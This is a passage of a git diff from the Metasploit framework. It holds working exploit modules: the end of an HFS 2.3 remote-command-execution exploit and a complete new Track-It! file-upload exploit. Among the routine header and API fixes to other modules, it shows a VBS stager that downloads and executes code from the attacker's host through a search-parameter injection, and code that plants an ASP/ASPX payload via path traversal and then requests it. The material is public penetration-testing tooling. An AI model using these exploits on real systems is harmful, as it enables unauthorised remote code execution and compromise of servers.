'Muhamad Fadzil Ramli ' # metasploit module + ], + 'References' => + [ + ['CVE', '2014-6287'], + ['OSVDB', '111386'], + ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], + ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'] + ], + 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + ], + 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => "Sep 11 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of the web application', '/']), + OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), + ], self.class) + end + + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/' + }) + + if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/ + version = $1 + if Gem::Version.new(version) <= Gem::Version.new("2.3") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Safe + end + end + + def on_request_uri(cli, req) + print_status("#{peer} - Payload request received: #{req.uri}") + exe = generate_payload_exe + vbs = Msf::Util::EXE.to_exe_vbs(exe) + send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) + # remove resource after serving 1st request as 'exec' execute 4x + # during exploitation + remove_resource(get_resource) + end + + def primer + file_name = rand_text_alpha(rand(10)+5) + file_ext = '.vbs' + file_full_name = file_name + file_ext + vbs_path = "%TEMP%\\#{file_full_name}" + + vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a" + vbs_code << "On Error Resume Next\x0d\x0a" + vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a" + vbs_code << "If Err.Number <> 0 Then\x0d\x0a" + vbs_code << "wsh.exit\x0d\x0a" + vbs_code << "End If\x0d\x0a" + vbs_code << "x.Send\x0d\x0a" + vbs_code << "Execute x.responseText" + + payloads = [ + "save|#{vbs_path}|#{vbs_code}", + "exec|wscript.exe //B //NOLOGO #{vbs_path}" + ] + + print_status("Sending a malicious request to #{target_uri.path}") + payloads.each do |payload| + send_request_raw({ + 'method' => 'GET', + 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" + }) + end + register_file_for_cleanup(vbs_path) + end + + def exploit + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, this is raised + end + end +end diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index bd4cf1a1f4..e4b0a0e1ed 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', - 'Andrew Griffiths ', + 'Andrew Griffiths ', 'patrick', # msf3 port ], 'Arch' => [ ARCH_X86 ], diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 21ff043ae7..0ef0bb0f34 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false )) diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index 47e0cd709d..ee531318fd 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb index 2409bc6d89..67ed566e16 100644 --- a/modules/exploits/windows/http/sapdb_webtools.rb +++ b/modules/exploits/windows/http/sapdb_webtools.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb index d439eacd1e..bf44556edd 100644 --- a/modules/exploits/windows/http/savant_31_overflow.rb +++ b/modules/exploits/windows/http/savant_31_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index 07f2fd2180..e30aa1821d 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,12 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("\r\n\r\n") # works - res = sock.get(-1,3) + res = sock.get_once disconnect - if (res =~ /Server: Serv-U\/9\.0\.0\.5/) + if (res.to_s =~ /Server: Serv-U\/9\.0\.0\.5/) return Exploit::CheckCode::Appears - elsif (res =~ /Server: Serv-U/) + elsif (res.to_s =~ /Server: Serv-U/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb index 70e3f35024..aeb11ebc39 100644 --- a/modules/exploits/windows/http/shoutcast_format.rb +++ b/modules/exploits/windows/http/shoutcast_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index b0547d8e19..f3dbbe7725 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,14 +12,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)', + 'Name' => 'SHTTPD URI-Encoded POST Request Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in SHTTPD <= 1.34. The vulnerability is caused due to a boundary error within the handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm. }, - 'Author' => [ 'LMH ', 'hdm', 'skOd'], + 'Author' => [ 'LMH ', 'hdm', 'skOd'], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index d583cd0285..ff35263e44 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -187,8 +187,8 @@ class Metasploit3 < Msf::Exploit::Remote # Pick up the cookie, example: # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB - if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/ - cookie = "JSESSIONID=#{$1}" + if res and res.get_cookies =~ /JSESSIONID=(\w+);/ + cookie = res.get_cookies else print_error("Unable to get a session ID") return diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 2a37f164f4..5bd2bfab84 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index 6debd28036..930a01332d 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow', + 'Name' => 'Streamcast HTTP User-Agent Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending an overly long User-Agent in an HTTP GET request, an attacker may be able to @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { @@ -60,10 +61,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("GET / HTTP/1.0\r\n\r\n") - res = sock.get(-1, 3) + res = sock.get_once disconnect - if (res =~ /Steamcast\/0\.9\.75/) + if (res.to_s =~ /Steamcast\/0\.9\.75/) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index a26a19d90c..e8bfdbb437 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index 730b89f9a9..64b487df50 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -68,10 +68,13 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, - 'method' => 'GET', - 'headers' => { - 'Accept' => '*/*', + 'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'), + 'method' => 'GET', + 'headers' => { + 'Accept' => '*/*', + }, + 'vars_get' => { + crash => nil } }, 5) diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index e4f976d44b..d770ad3532 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb index fc74de354b..627868613f 100644 --- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb +++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/trackit_file_upload.rb b/modules/exploits/windows/http/trackit_file_upload.rb new file mode 100644 index 0000000000..07eeec0cba --- /dev/null +++ b/modules/exploits/windows/http/trackit_file_upload.rb @@ -0,0 +1,538 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It! + v8 to v11.X. + The application exposes the FileStorageService .NET remoting service on port 9010 + (9004 for version 8) which accepts unauthenticated uploads. This can be abused by + a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary + code execution as NETWORK SERVICE or SYSTEM. + This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, + 10.0.0.143, 9.0.30.248 and 8.0.2.51. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-4872' ], + [ 'OSVDB', '112741' ], + [ 'US-CERT-VU', '121036' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Numara / BMC Track-It! v9 to v11.X - Windows', {} ], + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 7 2014' + )) + + register_options( + [ + OptPort.new('RPORT', + [true, 'TrackItWeb application port', 80]), + OptPort.new('RPORT_REMOTING', + [true, '.NET remoting service port', 9010]), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]), + OptString.new('TARGETURI', + [true, 'Base path to the TrackItWeb application', '/TrackItWeb/']) + ], self.class) + end + + + def get_version + res = send_request_cgi!({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET' + }) + if res and res.code == 200 and res.body.to_s =~ /\/TrackItWeb\/Content\.([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,4})\// + version = $1.split(".") + return version + end + end + + + def check + version = get_version + if version != nil + if (version[0].to_i < 11) or + (version[0].to_i == 11 and version[1].to_i <= 3) or + (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) + if not sock.nil? + sock.write(rand_text_alpha(rand(200) + 100)) + res = sock.recv(1024) + if res =~ /Tcp channel protocol violation: expecting preamble/ + return Exploit::CheckCode::Appears + end + sock.close + end + else + return Exploit::CheckCode::Safe + end + end + return Exploit::CheckCode::Unknown + end + + + def longest_common_substr(strings) + shortest = strings.min_by &:length + maxlen = shortest.length + maxlen.downto(0) do |len| + 0.upto(maxlen - len) do |start| + substr = shortest[start,len] + return substr if strings.all?{|str| str.include? substr } + end + end + end + + + def get_traversal_path + # + # ConfigurationService packet structure: + # + # @packet_header_pre_packet_size + # packet_size (4 bytes) + # @packet_header_pre_uri_size + # uri_size (2 bytes) + # @packet_header_pre_uri + # uri + # @packet_header_post_uri + # packet_body_start_pre_method_size + # method_size (1 byte) + # method + # @packet_body_pre_type_size + # type_size (1 byte) + # @packet_body_pre_type + # type + # @packet_terminator + # + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx + # + packet_body_start_pre_method_size = [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 + ] + + service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) + method = "GetProductDeploymentValues".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) + type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) + + uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service + + file_storage_dir_str = "FileStorageDataDirectory" + web_data_dir_str = "WebDataCacheDirectory" + + packet_size = + @packet_header_pre_uri_size.length + + 2 + # uri_size + @packet_header_pre_uri.length + + uri.length + + @packet_header_post_uri.length + + packet_body_start_pre_method_size.length + + 1 + # method_size + method.length + + @packet_body_pre_type_size.length + + 1 + # type_size + @packet_body_pre_type.length + + type.length + + # start of packet and packet size (4 bytes) + buf = @packet_header_pre_packet_size.pack('C*') + buf << Array(packet_size).pack('L*') + + # uri size (2 bytes) + buf << @packet_header_pre_uri_size.pack('C*') + buf << Array(uri.length).pack('S*') + + # uri + buf << @packet_header_pre_uri.pack('C*') + buf << uri.bytes.to_a.pack('C*') + buf << @packet_header_post_uri.pack('C*') + + # method name + buf << packet_body_start_pre_method_size.pack('C*') + buf << Array(method.length).pack('C*') + buf << method.bytes.to_a.pack('C*') + + # type name + buf << @packet_body_pre_type_size.pack('C*') + buf << Array(type.length).pack('C*') + buf << @packet_body_pre_type.pack('C*') + buf << type.bytes.to_a.pack('C*') + + buf << @packet_terminator.pack('C*') + + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{@remoting_port} - Getting traversal path...") + end + sock.write(buf) + + # read from the socket for up to (SLEEP / 2) seconds + counter = 0 + web_data_dir = nil + file_storage_dir = nil + while counter < datastore['SLEEP'] + begin + readable,writable,error = IO.select([sock], nil, nil, datastore['SLEEP'] / 2) + if readable == nil + break + else + sock = readable[0] + end + buf_reply = sock.readpartial(4096) + if (index = (buf_reply.index(file_storage_dir_str))) != nil + # after file_storage_dir_str, discard 5 bytes then get file_storage_dir_size + size = buf_reply[index + file_storage_dir_str.length + 5,1].unpack('C*')[0] + file_storage_dir = buf_reply[index + file_storage_dir_str.length + 6, size] + if file_storage_dir != nil and web_data_dir != nil + break + end + end + if (index = (buf_reply.index(web_data_dir_str))) != nil + # after web_data_dir_str, discard 5 bytes then get web_data_dir_size + size = buf_reply[index + web_data_dir_str.length + 5,1].unpack('C*')[0] + web_data_dir = buf_reply[index + web_data_dir_str.length + 6, size] + if file_storage_dir != nil and web_data_dir != nil + break + end + end + counter += 1 + sleep(0.5) + rescue SystemCallError + break + end + end + sock.close + + if file_storage_dir != nil and web_data_dir != nil + # Now we need to adjust the paths before we calculate the traversal_size + # On the web_data_dir, trim the last part (the Cache directory) and add the Web\Installers part + # which is the path accessible without authentication. + # On the file_storage_dir, add the IncidentRepository part where the files land by default. + # We then find the common string and calculate the traversal_path. + web_data_dir = web_data_dir[0,web_data_dir.rindex("\\")] + "\\Web\\Installers\\" + file_storage_dir << "\\Repositories\\IncidentRepository" + common_str = longest_common_substr([file_storage_dir, web_data_dir]) + traversal_size = file_storage_dir[common_str.rindex("\\"), file_storage_dir.length].scan("\\").length + traversal_path = "..\\" * traversal_size + web_data_dir[common_str.rindex("\\") + 1,common_str.length] + return traversal_path + else + return nil + end + # Note: version 8 always returns nil as the GetProductDeploymentValues does not exist + end + + + def send_file(traversal_path, filename, file_content) + # + # FileStorageService packet structure: + # + # @packet_header_pre_packet_size + # packet_size (4 bytes) + # @packet_header_pre_uri_size + # uri_size (2 bytes) + # @packet_header_pre_uri + # uri + # @packet_header_post_uri + # packet_body_start_pre_method_size + # method_size (1 byte) + # method + # @packet_body_pre_type_size + # type_size (1 byte) + # @packet_body_pre_type + # type + # packet_body_pre_repository_size + # repository_size (1 byte) + # repository + # packet_body_pre_filepath_size + # filepath_size (1 byte) + # filepath + # packet_body_pre_binary_lib_size + # binary_lib_size (1 byte) + # binary_lib + # packet_body_pre_file_content_decl_size + # file_content_decl_size (1 byte) + # file_content_decl + # packet_body_pre_filesize + # file_size (4 bytes) + # packet_body_pre_filecontent + # file_content + # @packet_terminator + # + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx + # + packet_body_start_pre_method_size = [ + 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, + 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x14, 0x00, 0x00, 0x00, 0x12 + ] + + packet_body_pre_repository_size = [ + 0x10, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x0a, 0x09, 0x02, 0x00, 0x00, 0x00, 0x06, + 0x03, 0x00, 0x00, 0x00 + ] + + packet_body_pre_filepath_size = [ + 0x06, 0x04, 0x00, 0x00, 0x00 + ] + + packet_body_pre_binary_lib_size = [ + 0x0c, 0x05, 0x00, 0x00, 0x00 + ] + + packet_body_pre_file_content_decl_size = [ + 0x05, 0x02, 0x00, 0x00, 0x00 + ] + + packet_body_pre_file_size = [ + 0x01, 0x00, 0x00, 0x00, 0x09, 0x5f, 0x72, 0x61, + 0x77, 0x42, 0x79, 0x74, 0x65, 0x73, 0x07, 0x02, + 0x05, 0x00, 0x00, 0x00, 0x09, 0x06, 0x00, 0x00, + 0x00, 0x0f, 0x06, 0x00, 0x00, 0x00 + ] + + packet_body_pre_filecontent = [ 0x02 ] + + service = "TrackIt.Core.FileStorageService".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) + method = "Create" + type = "TrackIt.Core.FileStorage.IFileStorageSecureDelegator, TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) + repository = "IncidentRepository" + binary_lib = "TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) + file_content_decl = "TrackIt.Core.FileStorage.FileContent".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) + + uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service + + filepath = traversal_path + filename + + packet_size = + @packet_header_pre_uri_size.length + + 2 + # uri_size + @packet_header_pre_uri.length + + uri.length + + @packet_header_post_uri.length + + packet_body_start_pre_method_size.length + + 1 + # method_size + method.length + + @packet_body_pre_type_size.length + + 1 + # type_size + @packet_body_pre_type.length + + type.length + + packet_body_pre_repository_size.length + + 1 + # repository_size + repository.length + + packet_body_pre_filepath_size.length + + 1 + # filepath_size + filepath.length + + packet_body_pre_binary_lib_size.length + + 1 + # binary_lib_size + binary_lib.length + + packet_body_pre_file_content_decl_size.length + + 1 + # file_content_decl_size + file_content_decl.length + + packet_body_pre_file_size.length + + 4 + # file_size + packet_body_pre_filecontent.length + + file_content.length + + # start of packet and packet size (4 bytes) + buf = @packet_header_pre_packet_size.pack('C*') + buf << Array(packet_size).pack('L*') + + # uri size (2 bytes) + buf << @packet_header_pre_uri_size.pack('C*') + buf << Array(uri.length).pack('S*') + + # uri + buf << @packet_header_pre_uri.pack('C*') + buf << uri.bytes.to_a.pack('C*') + buf << @packet_header_post_uri.pack('C*') + + # method name + buf << packet_body_start_pre_method_size.pack('C*') + buf << Array(method.length).pack('C*') + buf << method.bytes.to_a.pack('C*') + + # type name + buf << @packet_body_pre_type_size.pack('C*') + buf << Array(type.length).pack('C*') + buf << @packet_body_pre_type.pack('C*') + buf << type.bytes.to_a.pack('C*') + + # repository name + buf << packet_body_pre_repository_size.pack('C*') + buf << Array(repository.length).pack('C*') + buf << repository.bytes.to_a.pack('C*') + + # filepath + buf << packet_body_pre_filepath_size.pack('C*') + buf << Array(filepath.length).pack('C*') + buf << filepath.bytes.to_a.pack('C*') + + # binary lib name + buf << packet_body_pre_binary_lib_size.pack('C*') + buf << Array(binary_lib.length).pack('C*') + buf << binary_lib.bytes.to_a.pack('C*') + + # file content decl + buf << packet_body_pre_file_content_decl_size.pack('C*') + buf << Array(file_content_decl.length).pack('C*') + buf << file_content_decl.bytes.to_a.pack('C*') + + # file size (4 bytes) + buf << packet_body_pre_file_size.pack('C*') + buf << Array(file_content.length).pack('L*') + + # file contents + buf << packet_body_pre_filecontent.pack('C*') + buf << file_content + + buf << @packet_terminator.pack('C*') + + # send the packet and ignore the response + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{@remoting_port} - Uploading payload to #{filename}") + end + sock.write(buf) + sock.close + # We can't really register our files for cleanup as most of the time we run under the IIS user, not SYSTEM + end + + + def exploit + @packet_header_pre_packet_size= [ + 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00 + ] + + @packet_header_pre_uri_size = [ + 0x04, 0x00, 0x01, 0x01 + ] + + @packet_header_pre_uri = [ + 0x00, 0x00 + ] + + # contains binary type (application/octet-stream) + @packet_header_post_uri = [ + 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, + 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, + 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x00, 0x00 + ] + + @packet_body_pre_type_size = [ 0x12 ] + + @packet_body_pre_type = [ 0x01 ] + + @packet_terminator = [ 0x0b ] + + version = get_version + if version != nil + @version = version[0].to_i + else + # We assume it's version 9 or below because we couldn't find any version identifiers + @version = 9 + end + + @remoting_port = datastore['RPORT_REMOTING'] + + traversal_path = get_traversal_path + if traversal_path == nil + print_error("#{rhost}:#{@remoting_port} - Could not get traversal path, falling back to defaults") + case @version + when 9 + traversal_path = "..\\..\\..\\..\\Web Add-On\\Web\\Installers\\" + when 10 + traversal_path = "..\\..\\..\\..\\..\\Numara Track-It! Web\\Web\\Installers\\" + when 11 + traversal_path = "..\\..\\..\\..\\..\\Track-It! Web\\Web\\Installers\\" + end + end + + # generate our payload + exe = generate_payload_exe + if @version == 9 + file_content = Msf::Util::EXE.to_exe_asp(exe) + filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" + else + file_content = Msf::Util::EXE.to_exe_aspx(exe) + filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" + end + + send_file(traversal_path, filename, file_content) + + # sleep a few seconds, sometimes the service takes a while to write to disk + sleep(datastore['SLEEP']) + + print_status("#{peer} - Executing payload") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "Installers", filename), + 'method' => 'GET' + }) + + if res + if res.code == 500 + print_error("#{peer} - Got HTTP 500, trying again with " + (@version == 9 ? "ASPX" : "ASPX")) + # try again but now use ASPX instead of ASP or vice-versa + if @version == 9 + file_content = Msf::Util::EXE.to_exe_aspx(exe) + filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" + else + file_content = Msf::Util::EXE.to_exe_asp(exe) + filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" + end + send_file(traversal_path, filename, file_content) + + # sleep a few seconds, sometimes the service takes a while to write to disk + sleep(datastore['SLEEP']) + + print_status("#{peer} - Executing payload") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], "Installers", filename), + 'method' => 'GET' + }) + end + end + if not res or res.code != 200 + fail_with(Exploit::Failure::Unknown, "#{peer} - Could not execute payload" + (res ? ", got HTTP code #{res.code.to_s}": "")) + end + + handler + end +end diff --git a/modules/exploits/windows/http/trendmicro_officescan.rb b/modules/exploits/windows/http/trendmicro_officescan.rb index 959eb1e26e..c9482fdcf8 100644 --- a/modules/exploits/windows/http/trendmicro_officescan.rb +++ b/modules/exploits/windows/http/trendmicro_officescan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 867cf7ab4c..ac5841b53a 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -1,5 